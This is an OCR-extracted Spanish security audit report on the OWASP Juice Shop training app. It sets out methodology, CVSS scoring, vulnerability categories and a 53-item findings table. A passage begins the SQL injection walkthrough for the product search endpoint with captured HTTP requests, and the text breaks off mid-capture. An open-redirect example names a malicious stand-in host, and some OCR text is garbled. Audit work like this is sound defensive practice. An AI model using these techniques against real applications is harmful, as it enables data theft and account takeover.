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Introduccion

La seguridad informdtica es un aspecto que es imprescindible tener en cuenta a la hora de lanzar
una aplicacion, de otra manera el mejor y mas original de los servicios puede terminar en un fracaso
al poco de ser lanzado.

La confiabilidad de nuestras aplicaciones no solo afecta al propio negocio, sino también a sus
clientes y es por ello que es muy importante tratar de mitigar todo lo posible las fallas de seguridad
manteniendo un correcto equilibrio con la usabilidad.

A pesar de ello, es importante hacer notar que ningtin experto en seguridad informatica puede
garantizar nunca un sistema con un 100 % de invulnerabilidad pues existen muchos factores, entre
ellos el error humano, que pueden llevar a comprometer la aplicacién.

En consecuencia, se recomienda que la empresa que se desarrollen politicas y planes de
recuperacién para estar preparados en caso de que los peores escenarios se den en un futuro.

La informacidn, concienciacion y formacion en seguridad de los administradores y trabajadores de la
empresa es algo que también se recomienda pues suelen ser vectores de ataque importantes. Nunca
hay que olvidar que a veces un engafio a una persona con altos permisos puede ser la manera mas
rapida, facil y segura de comprometer una aplicacidn.

AUDITORIA QUE REALIZAMOS

OBJETIVOS DE LA AUDITORIA

El objetivo de esta auditoria se centrara sobre todo en el analisis exhaustivo de la aplicacién para
descubrir todas las vulnerabilidades posibles. Una vez estas encontradas se van a enumerary
clasificar por criticidad y categoria.

Seguidamente se ofrecerd una descripcién de cada una con las pruebas de su existencia y la forma
de reproducirlas y finalmente se ofrecera una guia para su saneamiento y eliminacion.

Gracias al sistema de puntuacidn de gravedad de las vulnerabilidades, este informe permitira ofrecer
a la empresa no solo una visién clara del estado de seguridad de su aplicacion, sino que se dispondra
de todo lo necesario para elaborar un plan ordenado en el tiempo y con prioridades claras para la
mitigacion de dichas amenazas.




TIPO DE AUDITORIA REALIZADA Y METOLOGIA

Para lograr nuestra meta realizaremos una auditoria de caja gris, en la que tendremos cierto acceso
al cédigo fuente, aunque en un principio trataremos de no hacer uso del mismo.

Para llevarla a cabo, usaremos el sistema OWASP Web Security Testing Guide, que puede ser
consultando en https://owasp.org/www-project-web-security-testing-guide/

De esta manera, se revisaran todas las funcionalidades de la misma, como la autenticacion, la
autorizacion, las entradas de datos, la encriptacién de los datos o la correcta gestién de errores por
poner unos ejemplos y se cubrirdn todos los estandares que marcan los mejores profesionales del
sector en cuanto a test de seguridad de aplicaciones web.

Algunas de las herramientas que usaremos seran BURP y ZAP como proxys para navegar la web y
observar las peticiones que se envian a la aplicacién. También se usaran programas de rastreo de
directorios como ffuf o dirsearch, programas de fuerza bruta para probar la fortaleza de las
contrasefias e incluso algunos frameworks como metasploit para probar alguna vulnerabilidad que lo
requiera.

Existird también una pequefia investigacion OSINT de las redes sociales de la aplicacion y otras
publicaciones que puedan existir en la red que nos brinden informacion sensible sobre la aplicacién y
gue supongan una brecha de seguridad para la misma. Este tipo de vulnerabilidades se reportaran
como informativas.

PRUEBAS EXCLUIDAS Y SEGURIDAD EN LAS PRUEBAS

Se han descartado de esta auditoria las pruebas humanas al personal de la organizacién y de las
propias politicas de seguridad internas. En otras palabras, no se han realizado ataques de ingenieria
social, ni se ha tratado de acceder a la red interna de la empresa o se evaluara equipos mas alla de la
aplicacion.

Tampoco se han realizado ataques de denegacidn de servicio y todas las pruebas se han realizado en
una copia de la aplicacién virtualizada a través de docker. Este hecho, implica también que no se
puedan realizar ciertos tests importantes y se recomienda hacer una revision de seguridad en el
entorno definitivo en el que se vaya a ejecutar la aplicacion.

Esta revision final servira a un doble objetivo:

e Comprobar que efectivamente todas las vulnerabilidades descubiertas han sido
debidamente tratadas.
e Realizar algunas pruebas importantes sobre el propio entorno en el que se ejecute.



https://owasp.org/www-project-web-security-testing-guide/

VALORACION DE LAS VULNERABILIDADES

Entendemos por vulnerabilidad una brecha de seguridad que puede ser explotada con algun fin
malicioso.

A pesar de que cualquier brecha es de por si importante y de que debemos comprender que a partir
de una brecha mas pequeiia se puede lograr una mayor, es necesario contar con un método de
valoracién que nos permita ordenar, en el aqui y ahora, estds mismas segln su importancia.

Para ello debemos hacernos diversas preguntas sobre cada una de ellas. Por ejemplo, entender el
impacto que la explotacion de una de ellas puede tener sobre la organizacidn es una de las variables
a tener en cuenta. A mayor impacto, mayor criticidad.

Otra variable seria la dificultad en llevar a cabo la explotacion. No es lo mismo explotar una brecha
gue sea muy dificil de detectar y que solo algunas personas con conocimientos realmente avanzados
puedan llevar a cabo con éxito que una que cualquier persona con un poco de conocimiento pueda
ejecutar comodamente desde su navegador.

Dicho esto, vamos a ver la tabla de puntuacidon que usamos para darles un valor de criticidad a cada
una de las vulnerabilidades encontradas y seguidamente, vamos a explicar las variables que se
tienen en cuenta para elaborar la misma.

ESCALA DE PUNTUACION DE LAS VULNERABILIDADES

La escala de puntuacion de las vulnerabilidades es una forma practica y clara de clasificar las
amenazas segln su criticidad, marcando un camino claro sobre las prioridades de seguridad
existentes.

También serd muy util a la hora de tomar ciertas decisiones cuando, por ejemplo, la eliminacién de
una vulnerabilidad entre en conflicto con temas como la usabilidad o el presupuesto disponible.

Para puntuar las vulnerabilidades nos valdremos de una escala del 1 al 10 en donde:

- Lasvulnerabilidades con puntuaciones del 0 al 3,9 son consideradas Informativas
- Lasvulnerabilidades con puntuaciones del 4.0 al 6.9 son consideradas Medias.

- Las vulnerabilidades con puntuaciones del 7 al 8.9 son consideradas Altas.

- Lasvulnerabilidades con puntuaciones del 9 al 10 son consideradas Criticas.

Hay que destacar que una vulnerabilidad critica deberia solucionarse al momento de ser descubierta
debido a su gravedad. Es por ello que para este tipo de vulnerabilidades se enviara un aviso
inmediato a la compaiiia.

El resto de las vulnerabilidades se entregaran con el informe.

Por ultimo, cabe destacar que a pesar de que las vulnerabilidades leves pueden aparentar no ser
gran cosa deben de tenerse muy en cuenta. Ademas, solucionarlas no suele ser algo muy costoso ni
en tiempo ni en dinero, y son un tipo de vulnerabilidad que pueden convertirse en algo vital para un
atacante a la hora de escalar en la intrusion y/o de obtener informacidn sobre la aplicacion.




VARIABLES PARA ELABORAR LA PUNTUACION DE LAS VULNERABILIDADES

El sistema empleado es el CVSSv3 que es un estandar y del que se puede obtener informacion
facilmente en https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Segun este sistema, se clasifican las vulnerabilidades a través de un sistema de puntuacion basado
en variables que se agrupan en tres grandes conjuntos:

1) Meétricas basicas
2) Meétricas de tiempo
3) Meétricas de entorno

Para la elaboracién de este informe nos basaremos solo en las métricas basicas, pues nos brindan
una puntuacion fiable y todo lo necesario para la elaboracién del mismo. Estas métricas referencia
tanto a la dificultad y accesibilidad de una vulnerabilidad como al impacto que esta puede producir
en la organizacion.

Por poner un ejemplo, se valoran factores como el hecho de si la vulnerabilidad puede ser accedida
a través de la internet o requiere una conexidn a la red interna de la organizacidn, la dificultad de
ejecucidn, si se requiere de permisos especiales para llevarla a cabo o el impacto que causa en la
confidencialidad, integridad y disponibilidad de los datos.

CATEGORIAS DE LAS VULNERABILIDADES

Aparte del riesgo que implica cada vulnerabilidad en si, también se han dividido y categorizado las
vulnerabilidades por categoria. Por ejemplo, podremos encontrar las vulnerabilidades basadas en
inyeccion de cédigo, en componentes vulnerables, etc.

Se encontrara a continuacidn una descripcidn de cada categoria que ayudara a entender donde mds
se esta fallando en el desarrollo y mantenimiento de la aplicacién.

Cabe destacar que no debe confundirse la categoria “informativa” con el tipo de riesgo
“informativo” pues son conceptos diferentes. La categoria muestra una exposicion de informacion
gue puede conllevar un riesgo alto y no informativo.

BROKEN ACCESS CONTROL

El control de acceso aplica una politica tal que los usuarios no pueden actuar fuera de sus permisos
previstos. Las fallas generalmente conducen a la divulgacién, modificacion o destruccién no
autorizada de todos los datos oa la realizacién de una funciéon comercial fuera de los limites del
usuario.

BROKEN ANTI AUTOMATATION

Las aplicaciones web estan sujetas a un uso automatizado no deseado. A menudo este uso no tiene
como fin vulnerar la aplicacién, pero debido a un uso excesivo suelen generar problemas en el
servicio o permitir cosas como comentarios SPAM en masa. Ademas, es posible obtener mucha
informacién de la aplicacién con estos medios.



https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

BROKEN AUTHENTICATION

Resumiendo, mucho es cuando conseguimos vurlar la autenticacién de la aplicacidn y hacernos
pasar por otro. La prevalencia de la autenticacién rota estd muy extendida debido al disefio y la
implementacion de la mayoria de los controles de acceso e identidad.

BRUTE FORCE

Un ataque de fuerza bruta puede manifestarse de muchas maneras diferentes, pero consiste
principalmente realiza solicitudes a un servidor probando todas las combinaciones posibles. Asi por
ejemplo, se pueden probar todas las combinaciones de caracteres posibles en un largo de
contrasefia para tratar de acceder a una sesion de administrador o usar esta capacidad de fuerza
bruta para descubrir directorios ocultos en una aplicacidn.

BRUTE FORCE

Un ataque de fuerza bruta puede manifestarse de muchas maneras diferentes, pero consiste
principalmente realiza solicitudes a un servidor probando todas las combinaciones posibles. Asi por
ejemplo, se pueden probar todas las combinaciones de caracteres posibles en un largo de
contrasefia para tratar de acceder a una sesién de administrador o usar esta capacidad de fuerza
bruta para descubrir directorios ocultos en una aplicacién.

CRYPTOGRAPHIC FAILURE
En estas vulnerabilidades el enfoque se centra en fallas relacionadas con la criptografia (o la falta de
esta), lo que a menudo conduce a la exposicidn de datos confidenciales.

IMPROPER DATA VALIDATION

En este caso el enfoque se centra en fallas relacionadas con los tipos de datos permitidos, la
seguridad de la |dgica de validacién o la falta de esta. Por ejemplo, que no exista una falla en los
tipos de archivos que permiten subirse a la aplicacion porque se ha obviado cierta extensidn, o que
se permita el uso de cupones caducados porque no se valida la caducidad de los mismos.

IMPROPER INPUT VALIDATION
Estas vulnerabilidades centran su foco en el control de las entradas de datos que recibe una
aplicacion, especialmente aquellas que puede controlar un atacante.

La validaciéon de entrada se realiza para garantizar que solo los datos correctamente formados
ingresen al flujo de trabajo en un sistema de informacion, evitando que los datos mal formados
persistan en la base de datos y provoquen el mal funcionamiento de varios componentes
posteriores. La validacidn de entrada debe ocurrir lo antes posible en el flujo de datos,
preferiblemente tan pronto como se reciban los datos de la parte externa.

Los datos de todas las fuentes potencialmente no confiables deben estar sujetos a la validacién de
entrada, incluidos no solo los clientes web orientados a Internet, sino también las fuentes de back-
end a través de extranets, de proveedores, socios, vendedores o reguladores, cada uno de los cuales
puede verse comprometido por si mismo y comenzar a enviar informacién malformada.

INFORMATIVA

Son vulnerabilidades que rebelan informacidn sensible de diversa indole al atacante, generalmente
relacionada con el software, y que pueden ir desde indicios de contrasenias, indicios de rutas del site,
software usado, lenguaje de programacién, modelo del servidor, etc.




INJECTION

Son vulnerabilidades causadas por una falta de filtrado de los datos que recibe la aplicacidn,
generalmente de sus usuarios, permitiendo mediante ciertas técnicas que los datos enviados
contengan cddigo que cause funcionamientos inesperados de la aplicacion.

Por ejemplo, los ataques de inyeccidn SQL permiten rebelar el contenido de las bases de datos 'y
hacernos con los mismos.

LFl o LOCAL FILE INCLUSION

La vulnerabilidad de inclusion de archivos permite a un atacante incluir un archivo, generalmente
explotando un mecanismo de "inclusién dindmica de archivos" implementado en la aplicacién de
destino. La vulnerabilidad se produce debido al uso de datos proporcionados por el usuario sin la
validacién adecuada.

Dentro de esta categoria, también se incluye el acceso o lectura de archivos que no deberian poder
verse o su descarga.

OPEN REDIRECT

Los redireccionamientos abiertos ocurren cuando una aplicacion permite la entrada proporcionada
por el usuario (por ejemplo, http://nottrusted.com) para controlar un redireccionamiento fuera del
sitio. Por ejemplo, un atacante podria proporcionar a un usuario el siguiente enlace:
http://example.com/example.php?url=http://malicious.example.com.

A partir de esta vulnerabildad, se pueden elaborar muchos ataques, mds o menos complejos que
pueden llevar tanto a vulnerar la aplicacion como a vulnerar el usuario.

SECURITY MISCONFIGURATION

Basicamente, esta categoria englobaria los “errores de los administradores”. Por ejemplo, una mala
configuracion de los permisos, un directorio que se ha dejado abierto por error o por exceso de
confianza, o el uso de credenciales por defecto que son conocidas por muchos en la aplicacion.

SENSITIVE DATA EXPOSURE

En esta categoria se englobaria la exposicién de datos sensibles. Aunque parecida a categoria
Informativa, esta definicidn se suele usar mas cuando encontramos documentacion sensible
expuesta que conlleve un impacto no solo en seguridad, sino también en la empresa misma.

VERB TAMPERING

Los verbos HTTP se usan a dia de hoy en las aplicaciones para solicitar y enviar informacién. No
obstante, los desarrolladores no siempre tienen en cuenta el uso de todos los verbos en los lugares
donde se los solicita dejando sin configurar algunos de ellos que de usarse, pueden causar ciertas
vulnerabilidades.

Por ejemplo, supongamos que cierta ruta tiene un control de acceso sobre el verbo DELTE y de esta
forma, evitar que un usuario no autorizado borre ciertos datos. Sin embargo, en la misma ruta el
desarrollador no ha instaurado dicho control sobre el verbo PUT. Esto puede causar que un usuario
malintencionado, borre los datos simplemente sobrescribiéndolos con otros o con valores nulos.

VULNERABLE COMPONENTS

Esta categoria hace referencia a librerias, médulos, plugins y complementos que se instalan en una
aplicacion y que contienen brechas de seguridad, ya sea porque se detectan en un momento dado
fallas en los mismos o porque son componentes que suplantan a los verdaderos y que los
administradores han instalado pensado que eran fidedignos.



http://example.com/example.php?url=http://malicious.example.com

Informe ejecutivo

La seguridad informdtica es un aspecto que es imprescindible tener en cuenta a la hora de lanzar
una aplicacion, de otra manera el mejor y mas original de los servicios puede terminar en un fracaso
al poco de ser lanzado.

ESTADO DE LA APLICACION

NIVEL DE SEGURIDAD MUY BAJO

 NVELDEStGURDAD | wmuvewo
ESTADO DE LA AUDITORIA

La auditoria se ha completado exitosamente y se ha entregado los informes al equipo técnico. Por el
momento, todas las vulnerabilidades descubiertas no han sido subsanadas.

Se recomienda encarecidamente que la aplicacidn se retire temporalmente del estado de
produccién hasta que se hayan subsanado todas las vulnerabilidades criticas y altas.

GRAFICAS DE RESUMEN

VULNERABILIDADES POR CRITICIDAD

CRITICA

TIPO CANTIDAD
CRITICA

ALTA
MEDIA
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PRINCIPALES RIESGOS

VULNERABILIDADES DE INYECCION SQL

La aplicacidn no cuenta con un manejo seguro de las consultas que se envian a la base de datos,
permitiendo que un usuario anénimo, sin autenticacién alguna, pueda obtener todos los datos que
alberga la misma desde su navegador lo que incluye, entre otras cosas:

- Informacion personal de los usuarios, incluyendo tarjetas de crédito, saldo disponible en la
billetera virtual, contrasefias, cuentas de correo, etc.

- Informacién sobre la empresa como ventas realizadas, promociones, pedidos existentes,
productos actuales y descatalogados, etc.

Asi mismo, este tipo de vulnerabilidades permite hacer un bypass de login y acceder a la cuenta de
cualquier usuario conociendo solo su correo electrdnico, siempre y cuando este no tenga activado el
doble factor de autenticacidn, que, por otra parte, también es vulnerable a ciertos ataques descritos
en el informe técnico.

VULNERABILIDADES DE CROSS SITE SCRIPTING

Este tipo de vulnerabilidades permiten a un atacante insertar cddigo malicioso en la aplicacién con
objetivo de atacar a la misma o a sus usuarios. Entre otras cosas se pueden capturar sesiones de los
usuarios, incluyendo administradores o insertar cddigo malicioso en los navegadores de nuestros
clientes para realizar seguimiento y ataques a los mismos.

VULNERABILIDADES DE ERRORES EN LA VALIDACION DE ENTRADAS DE DATOS

El back end no dispone de los controles de seguridad necesarios para validar las entradas de datos
gue recibe del front end, permitiendo a un usuario malintencionado generar todo tipo de peticiones
gue alteran negativamente el funcionamiento de la aplicacién.

Este grupo de vulnerabilidades permite, por ejemplo:

- Crear un usuario nuevo con permisos de administrador

- Saltarse los pagos a cuando se genera un pedido y poner la orden en curso.

- Alterar el precio de los pedidos generando pedidos con nimeros negativos (se debe dinero
al cliente)

- Ver las cestas de otros clientes

- Editar o generar reseiias en nombre de otros usuarios

- Editar o generar comentarios en nombre de otros usuarios

- Etc.

El detalle de estas vulnerabilidades puede encontrarse en el informe técnico.
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VULNERABLIDADES DE CIFRADO Y DE AUTENTICACION

La aplicacién no funciona actualmente bajo https por lo que todo el trafico que sostiene la misma
puede ser interceptado y leido. Ello incluye informacidn sensible como tarjetas de crédito,
contrasefias y mas.

Asi mismo, existen vulnerabilidades a nivel los métodos de cifrado permitidos para los tokens de
autenticacion de usuarios que permiten suplantar la identidad de los mismos.

VULNERABLIDADES INFORMATIVAS Y LEGALES GRAVES

La aplicacidn expone documentos muy sensibles sobre planes futuros de la empresa que son
accesibles sin ningun tipo de proteccidn desde internet.

Asi mismo, tampoco funcionan debidamente los mecanismos de borrado de datos de los usuarios
para que se cumpla debidamente con la RGPD lo que hace a la aplicacidn susceptible de grandes
multas.
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Informe técnico

TABLA DE VULNERABILIDADES

VULNERABILIDAD B rescBl T1.vun B estap@d stAarBEd CATEGORIA
Vul_001 INYECCION SQL EN BUSCADOR 10 CRITICA  PENDING 3 INJECTION
Vul_002 FILTRACION DE DATOSEN ENDPOINT 9,9 CRITICA  PENDING 0  SECURITY MISCONFIGURATION
Vul_003 SQL INJECTION BYPASS DE LOGIN 9,8 CRITICA  PENDING 2 INJECTION
Vul_004 = REGISTRAR USUARIO COMO ADMINISTRADOR 9,8 CRITICA  PENDING 3  IMPROPERINPUT VALIDATION
Vul_005  LOG IN WITH BJOERN'S GMAIL ACCOUNT 98 CRITICA  PENDING 4 BROKEN AUTHENTICATION
Vul_006 FORGE UNSIGNED JWT 98 CRITICA  PENDING 5 VULNERABLE COMPONENTS
Vul_007 TWO FACTOR AUTHENTICATION 9,8 CRITICA  PENDING 5 BROKEN AUTHENTICATION
Vul_008 EPHEMERAL ACCOUNT 98 MEDIA PENDING 4 INJECTION
Vul_009 GDPR DATA ERASURE 98 CRITICA  PENDING 3  SECURITY MISCONFIGURATION
Vul_010 PASSWORD STRENGTH 98 CRITICA  PENDING 2 BRUTE FORCE
Vul_011 XSS REFLEJADO 9,6 CRITICA  PENDING 1 INJECTION
Vul_012 ALLOW LIST BYPASS 9,6 CRITICA  PENDING 4 OPEN REDIRECT
Vul_013 CSRF 9,6 CRITICA  PENDING 3 BROKEN ACCESS CONTROL
vul_014 CROSS SITE IMAGING 9 CRITICA  PENDING 5 BROKEN ACCESS CONTROL
Vul_015 CHANGE BENDER'S PASSWORD 8,8 MEDIA PENDING 5 BROKEN AUTHENTICATION
Vul_016 FORGED SIGNED JWT 8,8 ALTA PENDING 6 VULNERABLE COMPONENTS
Vul_017 UPLOAD TYPE 8,8 ALTA PENDING 3 IMPROPER DATA VALIDATION
Vul_018 TOKEN SALE 8,6 ALTA PENDING 5 SENSITIVE DATA EXPOSURE
Vul_019 LFI POISON NULL BYTE 8,6 ALTA PENDING 4 LFI
Vul_020 FACTURAS EN FTP 8,6 ALTA PENDING 0 SENSITIVE DATA EXPOSURE
Vul_021 CONFIDENTIAL DOCUMENT 8,6 ALTA PENDING 1 SENSITIVE DATA EXPOSURE
Vul_022 FORGED REVIEW 8,5 ALTA PENDING 3 BROKEN ACCESS CONTROL
Vul_023 PRODUCT TAMPERING 8,2 ALTA PENDING 3 VERB TAMPERING
Vul_024 NOSQL MANIPULATION 81 ALTA PENDING 4 INJECTION
Vul_025 FORGED FEEDBACK 7,7 ALTA PENDING 3 BROKEN ACCESS CONTROL
Vul_026 ACCES DE ADMINISTRATION PAGE 7,2 ALTA PENDING 2 BROKEN ACCESS CONTROL
Vul_027  ARADIR PRODUCTOS A OTROS USUARIOS 6,5 MEDIA PENDING 3 BROKEN ACCESS CONTROL
Vul_028 DELUXE FRAUD 6,5 MEDIA PENDING 3 BROKEN ACCESS CONTROL
Vul_029 PAYBACK TIME 6,5 MEDIA PENDING 3 IMPROPER DATA VALIDATION
Vul_030 FORGED COUPON 6,4 MEDIA PENDING 6 CRYPTOGRAPHIC FAILURE
Vul_031 EXPIRED COUPON 6,4 MEDIA PENDING 4 IMPROPER DATA VALIDATION
Vul_032 CAPTCHA BYPASS 6,4 MEDIA PENDING 3  BROKEN ANTI AUTOMATATION
Vul_033 VER LA CESTA DE OTROS USUARIOS 6,3 MEDIA PENDING 2 BROKEN ACCESS CONTROL
Vul_034 BULLY CHATBOT 5,8 MEDIA PENDING 1 BRUTE FORCE
Vul_035 UPLOAD SIZE 5,4 MEDIA PENDING 3 IMPROPER DATA VALIDATION
Vul_036 DELETE FIVE STARS FEEDBACK 54 MEDIA PENDING 2 BROKEN ACCESS CONTROL
Vul_037 ACCESS LOG 53 MEDIA PENDING 4 SENSITIVE DATA EXPOSURE
Vul_038 EXPOSED METRICS 53 MEDIA PENDING 1 SENSITIVE DATA EXPOSURE
Vul_039 FORGOTTEN SALES BACKUP 53 MEDIA PENDING 4 SENSITIVE DATA EXPOSURE
Vul_040 FORGOTTEN DEVELOPER BACKUP 53 MEDIA PENDING 4 VULNERABLE COMPONENTS
Vul_041 ZERO STARS 53 MEDIA PENDING 1 IMPROPER DATA VALIDATION
Vul_042 GDPR DATA TEFT 43 MEDIA PENDING 4 SENSITIVE DATA EXPOSURE
Vul_043 DEPRECATED B2B INTERFACE 4,3 MEDIA PENDING 2 SECURITY MISCONFIGURATION
vul_044  ANADIR PRODUCTOS DESCATALOGADOS 43 MEDIA PENDING 4 IMPROPER DATA VALIDATION
Vul_045 MISPLACED FILE SIGNATURE 0  INFORMATIVA PENDING 4 SENSITIVE DATA EXPOSURE
Vul_046 EGG AND NESTED EASTER EGG 0  INFORMATIVA PENDING 4 INFORMATIVA
Vul_047 OUTDATET ALLOWLIST 0  INFORMATIVA PENDING 1 SENSITIVE DATA EXPOSURE
Vul_048 STEGANOGRAPHY 0  INFORMATIVA PENDING 4 INFORMATIVA
Vul_049 EXTRA LANGUAJE 0  INFORMATIVA PENDING 5  BROKEN ANTI AUTOMATATION
Vul_050 LEGACY TYPOSQUATTING 0  INFORMATIVA PENDING 4 VULNERABLE COMPONENTS
Vul_051 READ PRIVACY POLICY 0  INFORMATIVA PENDING 3 INFORMATIVA
Vul_052 ERROR HANDLING 0  INFORMATIVA PENDING 0 INFORMATIVA
Vul_053 REPETITIVE REGISTRATION 0 INFORMATIVA PENDING 0 IMPROPERINPUT VALIDATION
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Como se van a mostrar las vulnerabilidades

Para cada vulnerabilidad se va a disponer de tres apartados:

Cuadro resumen
Cuadro valoracion
Explotacion

En el cuadro resumen podremos ver de un vistazo los puntos mds importantes de la vulnerabilidad.
Este cuadro se divide en los siguientes campos:

Cuadro

Titulo descriptivo y categoria

ID de la vulnerabilidad, para poder realizar un facil seguimiento

Criticidad, donde veremos la puntuacién segun el estandar CSVV3

URL, donde se mostrardn la url o url’s afectadas

Descripcion, donde se explicara de forma resumida en que consiste la vulnerabilidad
Evidencia, donde se recogeran algunas de las capturas de pantalla mds importantes para
probar la existencia de la misma

Riesgos, describiremos los principales riesgos de la vulnerabilidad tratada
Recomendaciones, tanto para su tratamiento como para mejorar los procesos de desarrollo,
el cédigo de la aplicacién o la seguridad en general, pero sobre todo como eliminar la
vulnerabilidad.

Referencias, cuando sea interesante, brindaremos enlaces a informacidon mas extensa sobre
la vulnerabilidad o la tematica de seguridad que la afecta.

de valoracion:

Aqui habra una explicacion de la valoracion de cada variable que influye en la puntuacién de
la criticidad de la vulnerabilidad. De esta forma se podrad revisar la misma y entender por qué
se valora de una u otra manera.

Explotacion:

Paso a paso detallado de cdmo se encuentra y explota la vulnerabilidad. Aqui se podran encontrar,
ademas los payloads usados cuando existan.

Excepciones:

En algunas vulnerabilidades informativas no se hara uso del apartado de EXLOTACION por no ser
necesario mostrar un paso a paso detallado para la comprensién de la misma.

Del mismo modo, en algunas vulnerabilidades informativas de valor 0 tampoco se adjuntara el

cuadro de valoracion.

VULNERABILIDADES
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VUL_001 — INYECCION SQL en el buscador

INYECCION n el buscador de productos

- Vul_001 10 CRITICA
http://juiceshop.com/rest/products/search=q=

La inyeccion SQL es una técnica que permite al atacante alterar una
entrada de datos consiguiendo realizar consultas directamente a la
base de datos pudiendo recuperar y en ocasiones incluso alterar o
destruir la informacién existente en esta.

DESCRIPCION

EVIDENCIA

En el caso de juiceshop, permite recuperar todos los datos de la base
de datos accediendo a la aplicacién a través de internet i sin que se
requiera ninguna credencial para ello. Ademas, la vulnerabilidad es
accesible a través de una aplicaciéon automatizada.

2 |11 255 | 2 ce3 49¢8 NULL

Imagen de parte de la tabla “users” extraida con una herramienta
automatizada de inyeccion SQL

Robo de credenciales para efectuar una escalada de privilegios.

Robo de datos criticos de clientes como tarjetas de crédito, actividad,
datos del perfil, usuarios, contrasefias, etc.

Monitorizacidon de actividad. Alteracién y manipulacion total de los
datos de la aplicacidn.

Debido ademas a la debilidad de las contrasefias usadas por usuarios
administradores, es facil conseguir un acceso de administrador a la
aplicacion a través de fuerza bruta a los hashes de las contrasefias.

Entre otras cosas, esta vulnerabilidad puede llevar a comprometer la
reputacién de la compania y afectarla gravemente.

RIESGOS

RECOMENDACIONES - Compartimentar y delimitar las tablas a las que puede acceder
la aplicacién desde los diferentes lugares del api.

- Instalar un waf que ayude a mitigar estos ataques, monitorizar
la aplicacién y elaborar un plan de actuacidn ante desastres.

Hay que efectuar 4 acciones recomendadas de forma urgente:

- Sanear y filtrar la entrada de datos a nivel de aplicacidn
- Sanear y filtrar la base de datos a nivel de back end

15



https://www.w3schools.com/sql/sgl injection.asp

REFERENCIAS
https://owasp.org/www-community/attacks/SQL Injection

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_001 INYECCION SQL EN API DEL BUSCADOR DE PRODUCTOS

CVSS3 PUNTUACION CRITICA 10

Vector de Ataque Red: el ataque se puede montar a través de Internet.

Baja, todo lo que el atacante tiene que hacer es saber usar con éxito
Complejidad un programa especifico para explotarla, aunque también se puede
hacer manualmente.

Ninguno: el ataque podria ejecutarse desde una perspectiva no
autenticada/no autorizada

Privilegios requeridos

o . Ninguna, la vulnerabilidad se explota realizando peticiones
Interaccion del usuario . L
directamente a la aplicacién

Con cambios, pues el ataque se realiza a la aplicacién y puede acabar
Alcance comprometiendo otros sistemas, como, por ejemplo, si se consigue
una tarjeta de crédito de un usuario.

Alta, pues supone un acceso total a los datos. Por fortuna alguno de
Confidencialidad ellos esta encriptado, como las tarjetas de crédito, pero pueden
llegar a ser vulnerados por un atacante experto

Debido a que la informacidn obtenida permite obtener facilmente
Integridad una cuenta de administrador se considera como ALTA porque
permitira editar datos.

Debido a que la informacidn obtenida permite obtener facilmente
Disponibilidad una cuenta de administrador se considera como ALTA porque
permitira borrar datos.
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EXPLOTACION

Al realizar una consulta en el buscador observamos que se lanza una consulta genérica a la base de
datos del back end que devuelve todos los productos, que finalmente se filtran y muestran en el
front end.

" OWASP Juice Shop

Search Results - apple

Apple Juice
(1000ml)

1.99x

Apple Pomace
0.89x

Add to Basket Add to Basket

Fig. 1: Imagen de una consulta de busqueda

] : GeT + 200 118 1soN 19216842194

Hx B 0 =
GET frest/products/searchia= HITE/L.1 1 HITB/L. L 200 0K
Host: 182.168.42,194;3000 Recess- Control- ALl

2 User-Agent: Mozilla/s.0 (X11; Linux x85_54; rvi91.0) Gacko/20108101 Firefor/S1.0

: on, text/plain, */*

+ application/json; charset=utf.g
Authorization: Seare (/" 3250 PMaUIZBaUPTp Ty OuEFDCFIY
£y 108X 0 JKV 103 LCIBGE L OF JSUZE 10 1. 2y 2dGFDAXIE 0 J zdWij XNzl i i 26F0Y S1 6oy ) pZCL6M] Ex1
LPW1LT jon L2 2w1hahd Ci 3k 2 1eGLEGGp 1aWNLLXNOLIGwL i wi cCF2C 3VEmGa 01 T LHZY yMTLoGT N ZWY G Date: Tue, 05 Jul 2022 14:55:45 GMT
1Tk sHFkZTgSY 29X 21T uhrmr 37dH0b 211 €1 TSTPRLbHYAZVRYA VUL 01 T1wa bGPZdExvZ2 LUSKAI OLTWL]A 10 Connection: cl
MWL Z2VzL Wb S THIV ZGHTY XVedCSadne AL EI0bSR Content-Length: 12880
<MDOgH] AEM] Bz QuivzAy] CswDo
it} £VDCEMDOgM] AGM] gBMZQUME Ay CowMDOWMCT ST bGVOZWREdC T sbrvabiosTml 13 {
Iﬂ’]ﬁmY]NJIzN]Jyum]z w1 ] 0XN) 20T GONTT w1 @. RPA1T 010CT N T xmaT i PGANYKVGY 107 g83d vAbBach AWk S :
03LpZ0t LbaVOWFVGD7bgpxPSELERY VAH v - Czp_V- coRVHWSI rsalagOLl L - gavyvg_tyRQPITICrS)f aibSDeel
RoZVp2ILYr20hHPO2EZPSLkL S00ypPA
© Comection: close

:nkJecanse'ﬂ status=dismi:
GhnrZ7vigsMob 1

avpOnTPc LKz
conti nuecoderi x P knOgbHCeDeqT kL2142 0oVPY OZEREY
=RYPZXVS3BIKOV7N lFL\?CLH\\mJW-Hl*](G‘Z‘:J' KwrManzn

L If-None-Match: W/* 32')0 BERrwtKY BAXHY ¢ 3TUCSBbr caNxY

mx
{7eemr s continuecode

vdeletedat inull

Fig 2: Imagen de la captura de la consulta genérica lanzada al back end.

Esta peticidn nos revela la ruta de la APl que recibe dichas consultas. Ademas, consta de un
parametro “q” que se envia con un valor vacio.

Si le damos un valor a este parametro, la consulta nos devuelve diferentes valores, lo que indica que
el pardmetro altera la consulta lanzada a la base de datos:

vl B n = [ pretry EUETS B =

GET_/rest/products/searchiqebanana] HITR/L.1 1 HTTR/1.1 200 0K
4: 3000 2 Accass-Control-Allow-Origin: *
11a/5.0 (X11; Linux x86_64; rv:elL.0) Gecko/20100101 Firefax/e1.0 X-Content-Type-Options: nosmiff
2|accents wpplicationsison, teyt/plain, wfm 4 X-Frame-Options: SAMEORIGIN
S Accept-Language: en-US, 5 = Feature-Policy: payment 'self'
Accept-Encoding: gzip, deflate Content-Type: application/json; charset=uti-8
Authorization: Bearer Content-Length: 277
yJ0e XA 01.JKV101LCIRbGEi 015Uz L 1N J9. ey JzdGROdNMA 01 ) zdWl] ZXNz L wi ZOFOY S 6y JpZCL M) EsInVZZX) ETag: W/* 115- L730ABYNAqwagnds Fni dzBZ1Aq4"
uril 240X 1£GUXGGP 1 3WNLLXNOLMSW] 1 CGFc 3 Cmas 0 L LNZY yMTLIOOT NhZWY wHZMZOGZ vary: Accept-Encoding

1¥TkSNzFkZTgSY2gxza ISTnIvbGL 01.3] dXhiob 21 Le1 TsTnel FzdExvzal
